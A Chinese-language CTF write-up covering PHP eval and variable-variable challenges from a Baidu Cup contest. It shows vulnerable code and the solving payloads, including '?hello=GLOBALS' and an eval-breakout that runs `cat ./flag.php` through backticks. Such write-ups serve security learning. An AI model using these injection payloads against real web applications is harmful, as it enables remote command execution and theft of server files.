CTF之文件包含的猥瑣思路


From: i春秋 百度杯”CTF

一:

<?php include "flag.php"; //包含flag.php這個文件 
$a = @$_REQUEST['hello']; //$a這個變量請求變量hello的值 
if(!preg_match('/^\w*$/',$a )){ //正則表達式,匹配字符串,\w表示字符+數字+下划線,*代表有若干個\w字符組成。 
  die('ERROR');//不匹配則輸出ERROR } 
  eval("var_dump($$a);"); //如果匹配輸出\$\$a的值 
  show_source(__FILE__);
 ?>

PHP一個比較有意思的變量!$GLOBALS:一個包含了全部變量的全局組合數組。變量的名字就是數組的鍵。於是我們在url上構造/?hello=GLOBALS,結果就直接出來了!根本不是爆破好吧!

答案:/?hello=GLOBALS

二:

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

反引號位 (`) 是可以執行命令的

答案:?hello=);echo%20`cat%20./flag.php`;//

三:

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?> 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM